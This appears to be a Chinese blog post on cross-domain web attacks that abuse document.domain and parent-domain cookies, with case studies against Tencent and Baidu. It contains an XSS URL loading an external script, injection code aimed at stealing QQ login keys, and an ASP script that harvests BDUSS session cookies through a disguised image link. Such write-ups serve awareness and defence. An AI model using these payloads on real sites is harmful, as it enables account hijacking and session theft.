`
zengshaotao
  • 浏览: 787339 次
  • 性别: Icon_minigender_1
  • 来自: 上海
社区版块
存档分类
最新评论

跨域 web gongji

 
阅读更多
0×00 前言

一直想说说跨域web攻击这一概念,先前积累了一些案例和经验,所以想写这么一篇文档让大家了解一下跨域web攻击,跨域web攻击指的是利用网站跨域安全设置缺陷进行的web攻击,有别于传统的攻击,跨域web攻击可以从网站某个不重要的业务直接攻击和影响核心业务。

传统的安全思维教会我们按资产、功能等需求划分核心业务,优先保护核心业务等,非核心业务的安全等级一般没有核心业务高,给我们错觉是非核心业务受到攻击的话,所造成损失不会很大,也不会影响到核心业务,所以让安全工作者了解跨域web攻击这一概念还是非常有意义的。

0×01 基于ajax跨域设置的跨域攻击

使用ajax技术让人头痛的地方就是如何跨域,受同源策略所限不同域名包括子域名在内是无法进行AJAX请求的,随后衍生出一类技术可以通过设置document.domain实现跨域。如a.test.com和b.test.com,当两个网站通过javascript操作DOM接口 document.domain=’test.com’ 将网站的域设置为test.com后,两个网站就处于同一个域内,可以进行各种跨域操作。在开发人员方面这是很方便的跨域技术,但是在攻击者眼中这简直就是一个大后门,黑客只需要找到*.test.com下任意一个XSS漏洞,在任意一个子域名里的网页都可以跨域攻击a.test.com和b.test.com。


ajax跨域设置另外一个重点是这种跨域设置还会影响到窗口引用关系的同源策略,如腾讯微博网站进行了document.domain=’qq.com’的跨域设置,我们可以针对腾讯微博做个实验,在自己的腾讯微博http://t.qq.com/中发任意一个*.qq.com的网站的链接(如:http://www.qq.com),在腾讯微博中打开这个网站,然后在地址栏内用javascrit伪协议运行如下的脚本,你会发现腾讯微博所在的网页被注入了一个alert提示框:

javascript:window.opener.eval(alert(/xss/));

最后得出结论,由于腾讯微博网站进行了跨域设置,所以*.qq.com下的任意一个和腾讯微博有窗口引用关系的网页,都可以往腾讯微博跨域注入脚本运行。

案例:腾讯单点登录系统跨域劫持漏洞

QQ的客户端安装了一个快速登录插件,在客户端已登录且QQ.exe在运行的状态下,这个快速登录插件可以自动生成一个和QQ号对应的密钥,在IE浏览器访问QQ网站的各个应用时通过这个密钥可以免密码一键登录网站。我经过分析发现,这个快速登录插件最大的安全措施是生成密钥的关键函数设置了一个信任域xui.ptlogin2.qq.com,也就是在xui.ptlogin2.qq.com的网页中我们才可以使用这个插件生成密钥。快速登录插件的这个信任域安全措施本意是阻止其他非安全域的网页调用这个插件,而开发人员却在xui.ptlogin2.qq.com的一个网页写入了document.domain=’qq.com’的跨域设置,结果导致这个信任域形同虚设。通过QQ任意分站的一个XSS漏洞我们就能攻击xui.ptlogin2.qq.com,首先给分站的网页进行跨域设置,然后通过框架页嵌入xui.ptlogin2.qq.com的跨域设置页,由于两个网页都设置了同一个域,同源策略生效,那么就可以跨域操作框架注入脚本到xui.ptlogin2.qq.com的域内运行。部分攻击代码如下:

http://product.tech.qq.com/simp_search.php?keyword="></script><script/src=http://127.0.0.1/xss.js></script>

xss.js的内容:

window.name =...... // xui.ptlogin2.qq.com域内运行的攻击脚本省略
document.domain=qq.com; //跨域设置
function exploit(){crossQQdomain.location = "javascript:eval(window.parent.name);void(0)";} //在id为crossQQdomain的框架中通过伪协议注入脚本
document.write("<iframe id=crossQQdomain src=http://xui.ptlogin2.qq.com/*.html onload=exploit()></iframe>");

通过window.name内设置的是调用快速登录插件攻击脚本代码,被攻击者访问了我们的跨站链接后,我们就可以获取到QQ的一键登录密钥,后果不可想象。

0×02 基于cookie安全的跨域攻击

以前关于csrf的文档提过cookie的“同源策略”,实际上这个只是含糊的说明了cookie的domain字段的作用。cookie的domain字段和浏览器约定俗成,如一般cookie的domain字段被默认设置为www.test.com, 二级域名*.test.com下就无法访问这个cookie,所以很多网站就将cookie的domain字段设置为.test.com解决二级域名的cookie读取问题。

案例:第三方分站沦陷导致的百度cookie安全问题

在百度的passport登录以后,百度会给客户端设置一个名为BDUSS的cookie值,这个值的domain字段是.baidu.com,如下:

set-cookie: BDUSS=EVaS0YtVW91NUFnNktNNDhCeUxZelByZ2t6VnNqc2VKNDhqanhXV0Q1a1p4TVJOQVFBQUFBJCQAAAAAAAAAAAp

BESM9lhgAcmF5c3R5bGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgekV4AAAAAOB6RXgAAAAAcF1CAAAAAAAxMC42NS4

yNBk3nU0ZN51gh; expires=Tue, 01 Jan 2030 00:00:00 GMT; path=/; domain=.baidu.com

这个cookie是百度众多的二级域名共享的身份认证cookie,在某个巧合下我发现了百度第三方网站http://zhishang.baidu.com的漏洞,控制了zhishang.baidu.com的主机,这个网站的域名刚好属于百度的子域名,那么服务端是可以收到BDUSS这个关键cookie的,由于主机是IIS,于是写了个简单的收集HTTP请求头中cookie值的asp脚本,部分攻击代码如下:

<%
Dim sp,i,rf
sp = split(request.ServerVariables("HTTP_COOKIE"),"; ",-1,1) #通过服务器变量获取HTTP请求头中的COOKIE值
rf = Request.ServerVariables("HTTP_REFERER")
For i=0 to UBound(sp)
if instr(sp(i),"BDUSS")>0 then
txtfile=server.mappath("log.txt")
set fso = CreateObject("Scripting.FileSystemObject")
set MyFile = fso.opentextfile(txtfile,8,True,0)
MyFile.Writeline(date()&" "&time()& " "& rf)
MyFile.Writeline(sp(i)& Chr(13))
MyFile.Close
set fso = nothing
Response.cookies("BDUSS")="delete"
Response.cookies("BDUSS").Path="/"
Response.cookies("BDUSS").Expires=(now()-1)
Response.cookies("BDUSS").Domain = ".baidu.com"
end if
next
response.redirect "http://up.2cto.com/Article/201106/20110618102517644.gif" # 302转跳到真实的图片
%>

将http://zhishang.baidu.com/c.asp#.gif(#是url注释)这样的链接当成图片发布在百度贴吧、百度HI等的帖子或日志中,被攻击者如果访问了嵌入了类似图片链接的网页,浏览器将会向zhishang.baidu.com的脚本发起一个GET请求,这个请求会带上BDUSS值的cookie,服务端的脚本获取这个cookie后,攻击者就可以在另一方利用这个cookie伪造被攻击者的身份使用百度相关的服务。

0×03 跨域web攻击的思考

跨域web攻击还有很多种,本文只提到了危害比较大的两种,案例中所提到的漏洞也已经修复。本文没有再提到这类攻击的防御措施,因为这类web攻击已经有别于传统的单点攻击,实际上国内外各大网站和web程序都存在类似的安全问题,这类安全问题不是一个单独的个例,而是从网站架构开始就需要考虑的安全问题。

本文的目的并不是交大家如何利用跨域web攻击,而是希望大家通过这类安全问题思考更多,让大家意识到现实的网络并没有绝对的安全,我们面临的web安全问题依然严峻,应用和安全是一个对立面,我们需要在应用和安全中间找到一个平衡点。

0×04 参考

当在页面中用alert(document.domain)打印出来的就是页面当前的域名

document.domain=‘xxx’;也可以指定当前文件的域名,可以蒙蔽一些浏览器,达到在2个不同的子域之间传递数据的效果。比如:kk.xxx.com 和 xxx.com 之间数据传递。

网上的介绍:

因为浏览器的安全策略,浏览器不允许不同域(比如:dancewithnet.com和lab.dancewithnet.com)、不同协议(比如:http://dancewithnet.com和https://dancewithnet.com)、不同端口(比如:http:dancewithnet.com和http://dancewithnet.com:8080)下的页面通过 XMLHTTPRequest相互访问,这个问题同样影响着不同页面的Javascript的相互调用和控制,但是当主域、协议、端口相同时,通过设置页面的document.domain主域,Javascript可以在不同的子域名间访问控制,比如通过设置 document.domain=’dancewithnet.com’,http://dancewithnet.com和http: //lab.dancewithnet.com页面可互访,这个特性也提供了此情况下不同子域名下的XMLHTTPRequest相互访问的解决方案。

对于主域、协议、端口相同时的Ajax跨域问题,很早就有设置document.domain来解决的说法,但一直没有看到具体的成功应用,这几天尝试了一下,其原理就是,利用一个隐藏的iframe引入所跨另一子域的页面作为代理,通过Javascript来控制iframe引入的另一子域的 XMLHTTPRequest来进行数据获取。



from:lonely
分享到:
评论

相关推荐

    【C#/Web】最简单的WEB API跨域方法

    在本文中,我们将深入探讨如何使用C#和Web API实现最简单且实用的跨域解决方案。 首先,我们需要理解什么是CORS(Cross-Origin Resource Sharing,跨源资源共享)。CORS是一种机制,通过添加额外的HTTP头部,让...

    跨域WebApi的Jquery EasyUI的数据交互

    摘要: 大概思路,创建WebAPI,CrossMainController并编写,Nuget安装microsoft.aspnet.webapi.cors., 跨域设置路由,WebAPI提供广泛的对外开放,可以起到整合性的作用,例如:跟Oracle ERP、SAP的SCM、MM、PP以及SD领域...

    Web站点跨域说明

    在Web开发中,跨域(Cross-Origin)是一个常见的问题,特别是在构建复杂的Web应用程序时。它涉及到浏览器的安全策略,即同源策略(Same-Origin Policy),该策略限制了一个文档或脚本只能从与自身相同协议、域名和...

    ASP.net WebAPI跨域调用问题的解决方法

    在做Web开发中,常常会遇到跨域的问题,到目前为止,已经有非常多的跨域解决方案。下面这篇文章主要给大家介绍了关于ASP.net WebAPI跨域调用问题的解决方法,文中通过示例代码介绍的非常详细,需要的朋友可以参考下...

    MVC+WebAPI跨域调用.rar

    在IT领域,Web应用程序开发经常会遇到跨域问题,特别是在客户端(如浏览器)使用JavaScript与服务端API进行交互时。这个“MVC+WebAPI跨域调用.rar”压缩包文件提供了一个简单的示例,用于演示如何使用jQuery在MVC...

    jwt完整无框架web例子+登录+跨域web demo

    这个"jwt完整无框架web例子+登录+跨域web demo"是一个基于JWT实现的简单Web应用程序,它包含了登录验证功能,并且支持跨域访问。下面我们将详细探讨JWT、无框架Web开发以及如何在Java中实现登录验证和跨域处理。 1....

    webapi跨域处理类

    在Web开发中,"跨域"是一个常见的术语,指的是浏览器出于安全原因限制了JavaScript从一个源(域、协议或端口)访问另一个源的数据。这被称为同源策略。然而,在某些情况下,比如前后端分离的应用架构中,我们需要...

    WebApi跨域访问 ASP.NET MVC4客户端 html客户端

    WebApi跨域访问是Web开发中的一个重要话题,尤其是在ASP.NET MVC4框架下,因为WebApi经常作为服务端接口,为各种客户端(包括HTML5页面)...通过理解并正确应用这些知识点,可以构建出安全且易于维护的跨域Web应用。

    web前端跨域取JSON

    在Web开发中,"跨域取JSON"是一个重要的概念,特别是在前端开发中。"跨域"是指一个域名下的网页尝试访问另一个域名下的资源时,由于浏览器的安全策略限制,这种行为通常会被禁止,这就是所谓的同源策略(Same-origin...

    web项目跨域jar包

    在Web开发中,跨域(CORS)是一个常见的问题,特别是在使用JavaScript进行AJAX请求时。跨域限制是浏览器为了安全而实施的一项策略,它阻止了一个源(origin)的文档或脚本请求另一个源的资源。标题“web项目跨域jar...

    cors解决跨域web实例源码(结合网上改造)

    标题 "cors解决跨域web实例源码(结合网上改造)" 涉及的核心知识点是CORS(Cross-Origin Resource Sharing,跨源资源共享),这是一种机制,允许浏览器在执行JavaScript时访问不同源(即不同协议、域名或端口)的...

    跨域资源共享CORS协议介绍

    跨域资源共享(CORS)是一种安全机制,允许一个域(网站)上的Web应用访问另一个域上的资源。随着Web应用变得越来越复杂,为了增强用户体验,经常需要在一个域名下发起对另一个域名的HTTP请求。CORS的出现解决了...

    ASP.NET WebApi跨域请求配置dll文件

    在实际应用中,由于同源策略的限制,WebApi默认不支持跨域请求,即一个域下的网页不能直接访问另一个域下的资源。因此,为了解决这个问题,我们需要进行跨域请求的配置。 `System.Web.Http.Cors.dll` 是ASP.NET Web...

    ASP.NET MVC Web Api 跨域访问

    跨域资源共享(CORS)是Web开发中的一个重要概念,允许浏览器从一个源(源域)向另一个不同的源(跨域)发起XMLHttpRequest请求。在ASP.NET MVC Web API中处理跨域访问,是为了确保Web服务能被不同源的前端应用安全...

    ArcGIS Server 10.2跨域jar包

    理解并正确配置这个跨域jar包对于开发和部署基于ArcGIS Server的跨域Web应用至关重要。它可以帮助开发者克服Web浏览器的安全限制,实现灵活的地理空间数据共享和交互。同时,需要注意的是,跨域设置应谨慎处理,因为...

    jsonp解决跨域_js_方案_web_跨域_

    标题中的“jsonp解决跨域”指的是JavaScript对象标记协议(JSON with Padding,简称jsonp)这一跨域数据交互协议,它是Web应用程序中广泛使用的一种解决同源策略限制的技术。同源策略是浏览器为了安全而实施的一项...

    ASP.NETWebApi跨域请求

    ASP.NET Web API 跨域请求是Web开发中的一个重要概念,特别是在构建分布式系统和服务导向架构时。Web API,作为Microsoft提供的一种用于构建RESTful服务的技术,经常需要与不同源的前端应用进行交互,这就涉及到...

    js+jsp+json+tomcat跨域访问

    在IT行业中,跨域访问是Web开发中一个重要的概念,特别是在使用JavaScript、JSP、JSON以及前端库如jQuery时。本教程将详细讲解如何利用这些技术实现跨域数据交互。 首先,我们需要理解“跨域”这个术语。在浏览器的...

    WebApi跨域访问

    WebApi跨域访问是开发基于ASP.NET WebApi和MVC应用程序时经常遇到的一个关键问题。在Web开发中,由于浏览器的同源策略限制,不同源(协议、域名或端口不同)的请求会被阻止,这被称为跨域问题。解决这个问题的技术被...

    WebApi跨域demon

    webapi跨域小demon,适合刚学者,没什么技术难点,自己测试过,跨域成功 同源策略:出于安全考虑,浏览器会限制脚本中发起的跨站请求,浏览器要求JavaScript或Cookie只能访问同域下的内容。 正是由于这个原因,...

Global site tag (gtag.js) - Google Analytics